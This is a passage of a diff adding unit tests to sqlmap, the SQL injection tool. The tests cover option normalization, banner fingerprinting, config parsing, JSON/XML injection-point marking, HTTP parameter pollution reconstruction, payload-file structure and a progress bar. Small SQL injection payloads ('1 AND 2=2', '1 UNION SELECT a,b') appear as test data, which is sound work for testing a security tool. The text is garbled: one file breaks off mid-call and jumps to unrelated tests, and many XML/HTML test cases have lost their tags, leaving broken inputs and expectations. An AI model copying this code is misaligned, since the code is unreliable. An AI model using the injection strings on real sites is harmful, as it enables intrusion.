sqlmapapi.yaml but not served: %s" % sorted(extra)) + + def test_version_matches_runtime(self): + self.assertEqual(self.spec_version, RESTAPI_VERSION, "sqlmapapi.yaml version '%s' != RESTAPI_VERSION '%s'" % (self.spec_version, RESTAPI_VERSION)) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_option.py b/tests/test_option.py new file mode 100644 index 00000000000..11f4d8bdfd1 --- /dev/null +++ b/tests/test_option.py @@ -0,0 +1,1590 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Option setup / normalization helpers in lib/core/option.py. + +These exercise the (mostly) pure config-massaging functions that parse, validate +and normalize user-supplied option values into the canonical conf.*/kb.* shapes +that the rest of sqlmap relies on - WITHOUT touching the network, the DBMS, the +filesystem (beyond what bootstrap already set up) or any interactive prompt. + +option.py mutates the global conf/kb singletons aggressively, so every test that +writes a conf/kb field saves and restores it via the _preserve() helper so the +shared state stays pristine for the other test files in the suite. +""" + +import contextlib +import logging +import os +import socket +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.data import conf, kb, logger +from lib.core.common import Backend +from lib.core.enums import AUTH_TYPE +from lib.core.enums import HTTP_HEADER +from lib.core.settings import DEFAULT_USER_AGENT +from lib.core.settings import IGNORE_CODE_WILDCARD +from lib.core.settings import MAX_CONNECT_RETRIES +from lib.core.exception import SqlmapFilePathException +from lib.core.exception import SqlmapGenericException +from lib.core.exception import SqlmapMissingMandatoryOptionException +from lib.core.exception import SqlmapSyntaxException +from lib.core.exception import SqlmapSystemException +from lib.core.exception import SqlmapUnsupportedDBMSException +from lib.core.exception import SqlmapValueException +from thirdparty.six.moves import urllib as _urllib + +import lib.core.option as option + +_SENTINEL = object() + +# scratchpad for the preprocess/postprocess/safe-req fixture files +_SCRATCH = os.environ.get("CLAUDE_SCRATCH") or os.path.join(os.path.dirname(os.path.abspath(__file__)), "_option_more_tmp") + +# conf/kb fields that Backend.getIdentifiedDbms()/getOs() consult; any test that +# might touch DBMS/OS forcing snapshots ALL of them so no fingerprint state leaks +# into sibling test files (e.g. test_target_parsing's resume tests). +_BACKEND_CONF_KEYS = ("dbms", "forceDbms", "os") +_BACKEND_KB_KEYS = ("dbms", "dbmsVersion", "forcedDbms", "dbmsFilter", "os", "osVersion", "osSP") + + +def tearDownModule(): + """Remove the scratch fixture directory so it never lingers on disk (and so a + stray __init__.py there can't shadow imports in a subsequent run).""" + import shutil + if os.path.isdir(_SCRATCH): + shutil.rmtree(_SCRATCH, ignore_errors=True) + + +class _BackendGuard(unittest.TestCase): + """Mixin: fully snapshot & restore Backend-relevant conf/kb state per test.""" + + def setUp(self): + super(_BackendGuard, self).setUp() + self._snap_conf = {k: (conf[k] if k in conf else _SENTINEL) for k in _BACKEND_CONF_KEYS} + self._snap_kb = {k: (kb[k] if k in kb else _SENTINEL) for k in _BACKEND_KB_KEYS} + + def tearDown(self): + for store, snap, keys in ((conf, self._snap_conf, _BACKEND_CONF_KEYS), + (kb, self._snap_kb, _BACKEND_KB_KEYS)): + for k in keys: + if snap[k] is _SENTINEL: + try: + del store[k] + except KeyError: + pass + else: + store[k] = snap[k] + super(_BackendGuard, self).tearDown() + + +@contextlib.contextmanager +def _preserve(target, *keys): + """Save the given keys of an AttribDict (conf/kb), then restore on exit. + + Missing keys are restored to absent so a test can't leak a brand-new field. + """ + saved = {} + for key in keys: + saved[key] = target[key] if key in target else _SENTINEL + try: + yield + finally: + for key in keys: + if saved[key] is _SENTINEL: + try: + del target[key] + except KeyError: + pass + else: + target[key] = saved[key] + + +class _ImportSandboxMixin(object): + """Loaders in option.py (tamper/preprocess/postprocess) permanently + `sys.path.insert(0,

    this

    "), + u"keep this") + + def test_keeps_tags_when_not_only_text(self): + self.assertEqual(getFilteredPageContent(u"

    a

    b

    ", onlyText=False), + u"

    a

    b

    ") + + def test_bytes_input_unchanged(self): + # GOTCHA: tag stripping only engages for unicode input (charset-identified pages) + raw = b"x" + self.assertEqual(getFilteredPageContent(raw), raw) + + +class TestPageWordSet(unittest.TestCase): + def test_words(self): + self.assertEqual(sorted(getPageWordSet(u"foobartest")), + [u"foobar", u"test"]) + + +class TestExtractTextTagContent(unittest.TestCase): + def test_multiple_tags(self): + self.assertEqual(extractTextTagContent(u"Welcome

    Body text

    "), + [u"Welcome", u"Body text"]) + + +class TestParseSqliteTableSchema(unittest.TestCase): + def setUp(self): + self.addCleanup(setattr, kb.data, "cachedColumns", kb.data.get("cachedColumns")) + kb.data.cachedColumns = {} + + def _cols(self): + # parseSqliteTableSchema stores under cachedColumns[db][table] (both None here) + return dict(kb.data.cachedColumns[None][None]) + + def test_basic_columns_and_types(self): + parseSqliteTableSchema("CREATE TABLE users(id INTEGER PRIMARY KEY, name TEXT, age INT)") + cols = self._cols() + self.assertEqual(cols["id"], "INTEGER") + self.assertEqual(cols["name"], "TEXT") + self.assertEqual(cols["age"], "INT") + + def test_quoted_identifiers_and_sized_types(self): + parseSqliteTableSchema('CREATE TABLE "t"("id" INTEGER, "n" VARCHAR(50), flag BOOLEAN)') + cols = self._cols() + self.assertIn("id", cols) + self.assertEqual(cols["n"], "VARCHAR") # size dropped + self.assertEqual(cols["flag"], "BOOLEAN") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_parse_modules.py b/tests/test_parse_modules.py new file mode 100644 index 00000000000..f94a4d27b10 --- /dev/null +++ b/tests/test_parse_modules.py @@ -0,0 +1,179 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Parsers under lib/parse/: DBMS banner fingerprinting (banner.py + the shared +FingerprintHandler in handler.py) and the .ini configuration-file reader +(configfile.py). These are pure: given a banner string (and the shipped XML +signature files) or a config file on disk, they populate kb/conf with no +network or DBMS. We drive each over realistic inputs and assert the extracted +fingerprint / parsed options. +""" + +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.data import kb, conf +from lib.core.enums import DBMS +from lib.parse.banner import bannerParser, MSSQLBannerHandler +from lib.parse.handler import FingerprintHandler + + +class TestFingerprintHandler(unittest.TestCase): + def test_feedinfo_dbms_version_scalar(self): + info = {} + h = FingerprintHandler("some banner", info) + h._feedInfo("dbmsVersion", "5.7.1") + self.assertEqual(info["dbmsVersion"], "5.7.1") + + def test_feedinfo_set_valued_keys_split_on_pipe(self): + info = {} + h = FingerprintHandler("some banner", info) + h._feedInfo("type", "Linux|Debian") + self.assertIsInstance(info["type"], set) + self.assertEqual(info["type"], set(["Linux", "Debian"])) + + def test_feedinfo_ignores_empty_and_none(self): + info = {} + h = FingerprintHandler("b", info) + h._feedInfo("type", "") + h._feedInfo("type", "None") + h._feedInfo("type", None) + self.assertNotIn("type", info) + + +class TestBannerParser(unittest.TestCase): + def setUp(self): + self._saved = kb.bannerFp + kb.bannerFp = {} + + def tearDown(self): + kb.bannerFp = self._saved + + def test_no_dbms_is_noop(self): + # without an identified DBMS bannerParser must bail out before touching kb.bannerFp + from lib.core.common import Backend + Backend.flushForcedDbms(force=True) + saved = (conf.get("forceDbms"), kb.get("dbms")) + conf.forceDbms = None + kb.dbms = None + try: + kb.bannerFp = {} + self.assertIsNone(bannerParser("PostgreSQL 9.5.3 on x86_64-pc-linux-gnu")) + # no back-end identified -> the early return leaves the fingerprint untouched + self.assertEqual(kb.bannerFp, {}) + finally: + conf.forceDbms, kb.dbms = saved + + def test_mysql_banner_populates_version(self): + set_dbms(DBMS.MYSQL) + kb.bannerFp = {} + bannerParser("5.0.51a-3ubuntu5.4") + # the generic signatures classify the OS/distrib from the banner tail + self.assertTrue(kb.bannerFp, msg="no fingerprint extracted") + self.assertIn("Ubuntu", kb.bannerFp.get("distrib", set())) + + def test_oracle_banner_populates_version(self): + set_dbms(DBMS.ORACLE) + kb.bannerFp = {} + bannerParser("Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production") + self.assertIn("dbmsVersion", kb.bannerFp) + self.assertTrue(kb.bannerFp["dbmsVersion"].startswith("11.2.0")) + + def test_pgsql_banner_populates_version(self): + set_dbms(DBMS.PGSQL) + kb.bannerFp = {} + # the shipped PostgreSQL signature 'PostgreSQL\s+([\w\.]+)' captures the version + bannerParser("PostgreSQL 9.5.3 on x86_64-pc-linux-gnu") + self.assertIn("dbmsVersion", kb.bannerFp) + self.assertEqual(kb.bannerFp["dbmsVersion"], "9.5.3") + + def test_mssql_banner_populates_release_and_version(self): + set_dbms(DBMS.MSSQL) + kb.bannerFp = {} + # a real SQL Server 2008 RTM build present in data/xml/banner/mssql.xml, + # so the MSSQLBannerHandler resolves both the release year and the version + bannerParser("Microsoft SQL Server 2008 - 10.00.4311.00") + self.assertEqual(kb.bannerFp.get("dbmsRelease"), "2008") + self.assertEqual(kb.bannerFp.get("dbmsVersion"), "10.00.4311") + + +class TestMSSQLBannerHandler(unittest.TestCase): + def test_version_alt_built_for_dotzero_form(self): + info = {} + h = MSSQLBannerHandler("Microsoft SQL Server 10.00.1600.22", info) + h.startElement("version", {}) + h.characters("10.00.1600") + h.endElement("version") + # endElement('version') derives the ".0..0" alternate form + self.assertEqual(h._versionAlt, "10.0.1600.0") + + +class _Attrs(dict): + """Minimal SAX-attrs stand-in (supports .get).""" + + +class TestMSSQLBannerHandlerServicePack(unittest.TestCase): + def test_servicepack_strips_spaces(self): + info = {} + h = MSSQLBannerHandler("banner", info) + h.startElement("servicepack", {}) + h.characters(" 2 ") + h.endElement("servicepack") + self.assertEqual(h._servicePack, "2") + + +class TestConfigFileParser(unittest.TestCase): + def _write_cfg(self, body): + fd, path = tempfile.mkstemp(suffix=".ini", prefix="sqlmapcfg_") + os.close(fd) + with open(path, "w") as f: + f.write(body) + return path + + def test_parses_target_and_typed_options(self): + from lib.parse.configfile import configFileParser + path = self._write_cfg( + "[Target]\n" + "url = http://config.invalid/?id=1\n" + "[Optimization]\n" + "threads = 4\n" + "[Injection]\n" + "tamper = space2comment\n" + ) + saved = {k: conf.get(k) for k in ("url", "threads", "tamper")} + try: + configFileParser(path) + self.assertEqual(conf.url, "http://config.invalid/?id=1") + self.assertEqual(conf.threads, 4) # INTEGER datatype coerced + self.assertEqual(conf.tamper, "space2comment") + finally: + for k, v in saved.items(): + conf[k] = v + os.remove(path) + + def test_missing_target_section_raises(self): + from lib.parse.configfile import configFileParser + from lib.core.exception import SqlmapMissingMandatoryOptionException + path = self._write_cfg("[Request]\nthreads = 1\n") + try: + self.assertRaises(SqlmapMissingMandatoryOptionException, + configFileParser, path) + finally: + os.remove(path) + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_payload_marking.py b/tests/test_payload_marking.py new file mode 100644 index 00000000000..5b014e82999 --- /dev/null +++ b/tests/test_payload_marking.py @@ -0,0 +1,274 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Request-body injection-point handling: + - recognition regexes (REAL, imported from settings) classify JSON/JSON_LIKE/XML/PLAIN + - JSON/XML injection-point marking preserves every value (mirrors target.py) + - HPP transform reconstructs the original SQL after ASP comma-join +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.settings import (JSON_RECOGNITION_REGEX, JSON_LIKE_RECOGNITION_REGEX, + XML_RECOGNITION_REGEX, PAYLOAD_DELIMITER, + CUSTOM_INJECTION_MARK_CHAR) + +# The real source marks injection points with kb.customInjectionMark, which defaults to +# CUSTOM_INJECTION_MARK_CHAR ('*'). Tie the test's mark char to the source constant so a +# change there is reflected here too. +MARK = CUSTOM_INJECTION_MARK_CHAR + +# the _drive_* helpers set sticky conf/kb flags (notably conf.hpp, which changes queryPage +# behaviour) without restoring them; snapshot/restore at the module boundary so they can't leak +_PM_CONF_KEYS = ("hpp", "skipUrlEncode", "method", "paramDel", "url", "data", "parameters", "paramDict") +_PM_KB_KEYS = ("tamperFunctions", "postHint", "customInjectionMark", "postUrlEncode", "postSpaceToPlus", "processUserMarks") +_pm_saved = {} + +def setUpModule(): + from lib.core.data import conf, kb + for k in _PM_CONF_KEYS: + _pm_saved[("conf", k)] = conf.get(k) + for k in _PM_KB_KEYS: + _pm_saved[("kb", k)] = kb.get(k) + +def tearDownModule(): + from lib.core.data import conf, kb + for (scope, k), v in _pm_saved.items(): + (conf if scope == "conf" else kb)[k] = v + + +def classify(d): + if re.search(JSON_RECOGNITION_REGEX, d): + return "JSON" + if re.search(JSON_LIKE_RECOGNITION_REGEX, d): + return "JSON_LIKE" + if re.search(XML_RECOGNITION_REGEX, d): + return "XML" + return "PLAIN" + + +def _drive_request_marking(body): + """Run sqlmap's REAL request-body injection-point marking on `body`. + + Approach (a): drive the genuine code path in lib.core.target._setRequestParams() + (the same function the CLI uses) with a minimal conf/kb state, a POST body, and + readInput auto-answering 'Y'. The marking regexes (target.py:159-215) run against + `conf.data`; the fully-marked string is the snapshot of conf.data carrying the most + injection marks, captured BEFORE the later strip (target.py:~348) removes them. + + Returns (fully_marked_data, kb.postHint). A regression in the source marking regexes + changes this output and breaks the asserting tests. + """ + import lib.core.target as target + from lib.core.data import conf, kb + from lib.core.enums import HTTPMETHOD + + snapshots = [] + base = type(conf) + orig_setitem = base.__setitem__ + + def _record(self, key, value): + if key == "data" and isinstance(value, str): + snapshots.append(value) + orig_setitem(self, key, value) + + orig_readInput = target.readInput + target.readInput = lambda *a, **k: 'Y' + base.__setitem__ = _record + try: + conf.parameters = {} + conf.paramDict = {} + conf.direct = False + conf.method = HTTPMETHOD.POST + conf.url = "http://test.invalid/" + conf.cookie = None + conf.httpHeaders = [] + conf.testParameter = None + conf.forms = None + conf.crawlDepth = None + kb.processUserMarks = None + kb.postHint = None + kb.customInjectionMark = MARK + kb.testOnlyCustom = False + conf.data = body + target._setRequestParams() + postHint = kb.postHint + finally: + base.__setitem__ = orig_setitem + target.readInput = orig_readInput + + fully_marked = max(snapshots, key=lambda s: s.count(MARK)) + return fully_marked, postHint + + +class TestRecognitionRegexes(unittest.TestCase): + CASES = [ + ('{"id":1}', "JSON"), + ('{"a":"b"}', "JSON"), + ('{"n":1,"m":"s"}', "JSON"), + ('[{"id":1}]', "JSON"), + ('[{"id":1},{"id":2}]', "JSON"), + ("{'a':'b'}", "JSON_LIKE"), + ("
    1", "XML"), + ("1", "XML"), + ("v", "XML"), + ("id=1&x=2", "PLAIN"), + ("just text", "PLAIN"), + ] + + def test_classification(self): + for body, expected in self.CASES: + self.assertEqual(classify(body), expected, msg="classify(%r)" % body) + + +class TestJsonMarking(unittest.TestCase): + # Approach (a): exercises the REAL JSON injection-point marking in + # lib.core.target._setRequestParams() (target.py:159-162) via _drive_request_marking(). + # No source logic is copied into the test; a regression in the source regexes fails it. + @staticmethod + def mark(data): + marked, postHint = _drive_request_marking(data) + assert postHint == "JSON", "expected JSON postHint, got %r for %r" % (postHint, data) + return marked + + CASES = [ + ('{"id":1}', '{"id":1*}'), + ('{"name":"abc"}', '{"name":"abc*"}'), + ('{"a":{"b":"1"}}', '{"a":{"b":"1*"}}'), + ('{"empty":""}', '{"empty":"*"}'), + ('{"b":true,"n":null}', '{"b":true*,"n":null*}'), + ('{"a":"x","b":"y"}', '{"a":"x*","b":"y*"}'), + ('{"url":"http://h:8080/p"}', '{"url":"http://h:8080/p*"}'), + ] + + def test_cases(self): + for inp, expected in self.CASES: + self.assertEqual(self.mark(inp), expected, msg="mark(%r)" % inp) + + def test_value_preserved_property(self): + # marking must not delete/garble the original value characters + for inp, _ in self.CASES: + out = self.mark(inp) + self.assertEqual(out.replace(MARK, ""), inp, msg="marking altered %r" % inp) + + +class TestXmlMarking(unittest.TestCase): + # Approach (a): exercises the REAL SOAP/XML injection-point marking in + # lib.core.target._setRequestParams() (target.py:215) via _drive_request_marking(). + # A regression in the source XML regex fails this test. + def mark(self, data): + from lib.core.enums import POST_HINT + marked, postHint = _drive_request_marking(data) + self.assertIn(postHint, (POST_HINT.XML, POST_HINT.SOAP), + msg="expected XML/SOAP postHint, got %r for %r" % (postHint, data)) + return marked + + CASES = [ + ("x", "x*"), + # attribute values are now marked too, not just element text (issue #5993) + ('x', 'x*'), + ("bob5", "bob*5*"), + ("v", "v*"), + ("1", "1*"), + # multiple attributes and single-quoted attribute values + ('y', 'y*'), + ("y", "y*"), + # XML declaration and namespace declarations are left intact (not injection points) + ('y', 'y*'), + ('y', 'y*'), + ] + + def test_cases(self): + for inp, expected in self.CASES: + self.assertEqual(self.mark(inp), expected, msg="xmlmark(%r)" % inp) + + +def _drive_hpp(payload, name="id"): + """Run sqlmap's REAL HTTP-parameter-pollution payload reconstruction on `payload`. + + Approach (a): drive the genuine HPP block inside lib.request.connect.Connect.queryPage() + (connect.py:1168-1192) -- the same method the engine uses to issue every request -- with + conf.hpp enabled and a GET value carrying the payload between PAYLOAD_DELIMITERs. + conf.skipUrlEncode is set so the unencoded splitter branch runs (matching the pinned + expected strings). queryPage's network call (agent.removePayloadDelimiters, invoked + immediately AFTER the HPP block) is hijacked to capture the transformed `value` and abort + before any I/O; the payload is then extracted from between the delimiters. A regression in + the source HPP logic changes this output and breaks the asserting tests. + """ + from lib.core.data import conf, kb + from lib.core.enums import PLACE + from lib.core.agent import agent + from lib.request.connect import Connect + + class _Sentinel(Exception): + pass + + captured = {} + + def _capture(value): + captured["value"] = value + raise _Sentinel() + + orig_remove = agent.removePayloadDelimiters + agent.removePayloadDelimiters = _capture + try: + conf.direct = False + conf.hpp = True + conf.method = "GET" + conf.paramDel = None + conf.skipUrlEncode = True + conf.url = "http://test.invalid/page.asp?%s=1" % name + kb.postUrlEncode = False + kb.tamperFunctions = [] + kb.postSpaceToPlus = False + value = "%s=%s%s%s" % (name, PAYLOAD_DELIMITER, payload, PAYLOAD_DELIMITER) + try: + _qp = getattr(Connect.queryPage, "__func__", Connect.queryPage) + _qp(value=value, place=PLACE.GET, disableTampering=True) + except _Sentinel: + pass + finally: + agent.removePayloadDelimiters = orig_remove + + _ = re.escape(PAYLOAD_DELIMITER) + return re.search(r"(?s)%s(?P.*?)%s" % (_, _), captured["value"]).group("result") + + +class TestHppReconstruction(unittest.TestCase): + # Approach (a): drives the REAL HPP reconstruction (connect.py:1168-1192) via _drive_hpp(). + + def hpp(self, payload, name="id"): + return _drive_hpp(payload, name) + + # Exact transform outputs (verified live against an ASP-style join). We pin the produced + # string rather than "reconstruct the SQL", because reconstruction depends on the SQL parser + # treating /* */ as a token separator (1/*,*/AND -> "1 AND"), which a string compare can't model. + CASES = [ + ("1", "1"), + ("1 AND 2=2", "1/*&id=*/AND/*&id=*/2=2"), + ("1 AND 'a'='a'", "1/*&id=*/AND/*&id=*/'a'='a'"), + ] + + def test_exact_outputs(self): + for payload, expected in self.CASES: + self.assertEqual(self.hpp(payload), expected, msg="hpp(%r)" % payload) + + def test_balanced_comments(self): + # every /* must have a matching */ (no dangling comment bridge) + for payload in ["1 UNION SELECT a,b", "1 AND 2=2 OR 3=3", "x y z"]: + out = self.hpp(payload) + self.assertEqual(out.count("/*"), out.count("*/"), msg="unbalanced comments for %r" % payload) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_payloads_structure.py b/tests/test_payloads_structure.py new file mode 100644 index 00000000000..51796da32ff --- /dev/null +++ b/tests/test_payloads_structure.py @@ -0,0 +1,110 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Structural invariants of the injection payload/boundary definitions +(data/xml/payloads/*.xml -> conf.tests, data/xml/boundaries.xml -> conf.boundaries). + +These XML files ARE the detection engine: every test/boundary loaded here is +something sqlmap will fire at a target. The fields are pure data, so the right +tests are shape/range invariants - a malformed level, an unknown technique, a +duplicate title, or a test missing its request payload would silently break or +skew detection. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.parse.payloads import loadBoundaries, loadPayloads +from lib.core.data import conf +from lib.core.enums import PAYLOAD +from lib.core.common import getPublicTypeMembers + +# load once for the module +loadBoundaries() +loadPayloads() + +TECHNIQUES = set(v for _, v in getPublicTypeMembers(PAYLOAD.TECHNIQUE)) # {1..6} +WHERES = set(v for _, v in getPublicTypeMembers(PAYLOAD.WHERE)) # {1,2,3} + + +class TestLoaded(unittest.TestCase): + # floors well below the current counts (~340 tests, ~54 boundaries) - high enough to catch a + # truncated/partially-loaded XML set (not just "> 0"), low enough to survive normal additions + def test_payloads_loaded(self): + self.assertGreaterEqual(len(conf.tests), 200, msg="only %d tests loaded" % len(conf.tests)) + + def test_boundaries_loaded(self): + self.assertGreaterEqual(len(conf.boundaries), 30, msg="only %d boundaries loaded" % len(conf.boundaries)) + + +class TestTestEntries(unittest.TestCase): + def setUp(self): + # guard against vacuous passes: if payloads failed to load, every loop below + # would iterate zero times and pass silently + self.assertTrue(conf.tests, "conf.tests is empty - payloads failed to load") + + def test_required_fields_present(self): + for t in conf.tests: + for field in ("title", "stype", "clause", "where", "level", "risk", "request", "response"): + self.assertIn(field, t, msg="test %r missing field %r" % (t.get("title"), field)) + + def test_title_non_empty(self): + for t in conf.tests: + self.assertTrue(t.title and t.title.strip(), msg="empty test title") + + def test_titles_unique(self): + titles = [t.title for t in conf.tests] + self.assertEqual(len(titles), len(set(titles)), msg="duplicate test titles exist") + + def test_stype_is_known_technique(self): + for t in conf.tests: + self.assertIn(t.stype, TECHNIQUES, msg="test %r has unknown stype %r" % (t.title, t.stype)) + + def test_level_and_risk_in_range(self): + for t in conf.tests: + self.assertIn(t.level, (1, 2, 3, 4, 5), msg="test %r bad level %r" % (t.title, t.level)) + self.assertIn(t.risk, (1, 2, 3), msg="test %r bad risk %r" % (t.title, t.risk)) + + def test_request_has_payload(self): + for t in conf.tests: + self.assertIn("payload", t.request, msg="test %r request has no payload" % t.title) + + def test_where_values_valid(self): + for t in conf.tests: + for w in t.where: + self.assertIn(w, WHERES, msg="test %r has bad where %r" % (t.title, w)) + + +class TestBoundaryEntries(unittest.TestCase): + def setUp(self): + self.assertTrue(conf.boundaries, "conf.boundaries is empty - boundaries failed to load") + + def test_required_fields_present(self): + for b in conf.boundaries: + for field in ("level", "clause", "where", "ptype"): + self.assertIn(field, b, msg="boundary missing field %r" % field) + + def test_level_in_range(self): + for b in conf.boundaries: + self.assertIn(b.level, (1, 2, 3, 4, 5), msg="boundary bad level %r" % b.level) + + def test_where_values_valid(self): + for b in conf.boundaries: + for w in b.where: + self.assertIn(w, WHERES, msg="boundary bad where %r" % w) + + def test_clause_is_list_like(self): + for b in conf.boundaries: + self.assertTrue(isinstance(b.clause, (list, tuple)), msg="boundary clause not list-like") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_progress.py b/tests/test_progress.py new file mode 100644 index 00000000000..5690763d1f5 --- /dev/null +++ b/tests/test_progress.py @@ -0,0 +1,209 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The textual progress bar (lib/utils/progress.py) used during multi-item +extraction. Pure rendering/clamping logic plus ETA formatting. +""" + +import os +import re +import sys +import time +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.utils.progress as progress_mod +from lib.utils.progress import ProgressBar + + +class TestProgressBar(unittest.TestCase): + def test_initial_is_zero_percent(self): + pb = ProgressBar(0, 100, 78) + self.assertTrue(str(pb).startswith("0%"), msg=str(pb)) + + def test_full_is_hundred_percent(self): + pb = ProgressBar(0, 100, 78) + pb.update(100) + self.assertTrue(str(pb).startswith("100%"), msg=str(pb)) + + def test_half_is_fifty_percent(self): + pb = ProgressBar(0, 100, 78) + pb.update(50) + self.assertIn("50%", str(pb)) + + def test_update_clamps_below_min(self): + pb = ProgressBar(10, 20, 78) + pb.update(-5) + self.assertTrue(str(pb).startswith("0%")) + + def test_update_clamps_above_max(self): + pb = ProgressBar(0, 10, 78) + pb.update(999) + self.assertTrue(str(pb).startswith("100%")) + + def test_convert_seconds(self): + pb = ProgressBar(0, 10, 78) + self.assertEqual(pb._convertSeconds(0), "00:00") + self.assertEqual(pb._convertSeconds(65), "01:05") + self.assertEqual(pb._convertSeconds(600), "10:00") + + def test_progress_draws_eta_after_second_call(self): + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True # draw() only animates on a terminal + try: + pb = ProgressBar(0, 10, 78) + pb.progress(0) # first call only seeds the timer (eta None) + time.sleep(0.01) # let some wall-clock elapse so eta is computable + pb.progress(5) # second call computes and draws a real ETA + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + self.assertTrue(captured, msg="progress() never wrote to stdout") + last = captured[-1] + # the drawn bar must carry an ETA token with an mm:ss timer (not the ??:?? placeholder) + self.assertIn("(ETA ", last, msg="no ETA token drawn: %r" % last) + self.assertNotIn("??:??", last, msg="ETA was not computed on the second call: %r" % last) + self.assertTrue(re.search(r"\(ETA \d{2}:\d{2}\)", last), + msg="ETA token missing an mm:ss timer: %r" % last) + + def test_eta_available_from_first_completed_item(self): + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + try: + pb = ProgressBar(0, 5, 78) + pb._start = pb._lastTime = time.time() - 2.0 # one item took ~2s -> estimate must appear now, at 1/5 + pb.progress(1) + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + last = captured[-1] + self.assertNotIn("??:??", last, msg="no ETA at the first item: %r" % last) + m = re.search(r"\(ETA (\d{2}):(\d{2})\)", last) + secs = int(m.group(1)) * 60 + int(m.group(2)) + self.assertTrue(7 <= secs <= 9, msg="ETA not ~8s (2s/item x 4 remaining): %r" % last) # not the 2x-optimistic ~4s + + def test_eta_reflects_remaining_item_count(self): + # at a constant 10s/item pace: 1/3 must estimate the 2 items left (~20s), 2/3 the 1 left (~10s) - + # i.e. (max - done) items, not just the current one. Fresh bars so each is a first (unsmoothed) estimate. + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + + def drawnEta(): + m = re.search(r"\(ETA (\d{2}):(\d{2})\)", captured[-1]) + self.assertTrue(m, msg="no ETA drawn: %r" % captured[-1]) + return int(m.group(1)) * 60 + int(m.group(2)) + + try: + a = ProgressBar(0, 3, 78) + a._start = time.time() - 10.0 # 1 done in 10s -> 10s/item, 2 remaining -> ~20s + a.progress(1) + eta1 = drawnEta() + + b = ProgressBar(0, 3, 78) + b._start = time.time() - 20.0 # 2 done in 20s -> 10s/item, 1 remaining -> ~10s + b.progress(2) + eta2 = drawnEta() + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + self.assertTrue(18 <= eta1 <= 22, msg="1/3 should estimate 2 remaining (~20s): %ds" % eta1) + self.assertTrue(8 <= eta2 <= 12, msg="2/3 should estimate 1 remaining (~10s): %ds" % eta2) + + def test_new_estimate_is_eased_not_snapped(self): + # when a fresh estimate is far from the value currently on screen, the drawn ETA must land + # between the two (smoothed), not snap straight to the new target + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + try: + pb = ProgressBar(0, 10, 78) + pb._eta = 8.0 # currently showing ~8s... + pb._etaAt = time.time() + pb._start = time.time() - 2.0 # ...but the fresh target is (2/1)*(10-1) = 18s + pb.progress(1) + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + m = re.search(r"\(ETA (\d{2}):(\d{2})\)", captured[-1]) + secs = int(m.group(1)) * 60 + int(m.group(2)) + self.assertTrue(10 <= secs <= 16, msg="ETA snapped instead of easing between 8 and 18: %ds" % secs) + + def test_tick_counts_down_from_stored_eta(self): + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + try: + pb = ProgressBar(0, 10, 78) + pb.update(5) + pb._eta = 100 # a 100s estimate... + pb._etaAt = time.time() - 30 # ...taken 30s ago -> tick() must show ~70s + pb.tick() + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + m = re.search(r"\(ETA (\d{2}):(\d{2})\)", captured[-1]) + self.assertTrue(m, msg="no mm:ss ETA drawn: %r" % captured[-1]) + secs = int(m.group(1)) * 60 + int(m.group(2)) + self.assertTrue(66 <= secs <= 71, msg="ETA not decremented to ~70s: %r" % captured[-1]) + + def test_tick_clamps_at_zero_when_overdue(self): + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + try: + pb = ProgressBar(0, 10, 78) + pb.update(5) + pb._eta = 5 + pb._etaAt = time.time() - 60 # long overdue -> must clamp to 00:00, never negative + pb.tick() + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + self.assertIn("(ETA 00:00)", captured[-1], 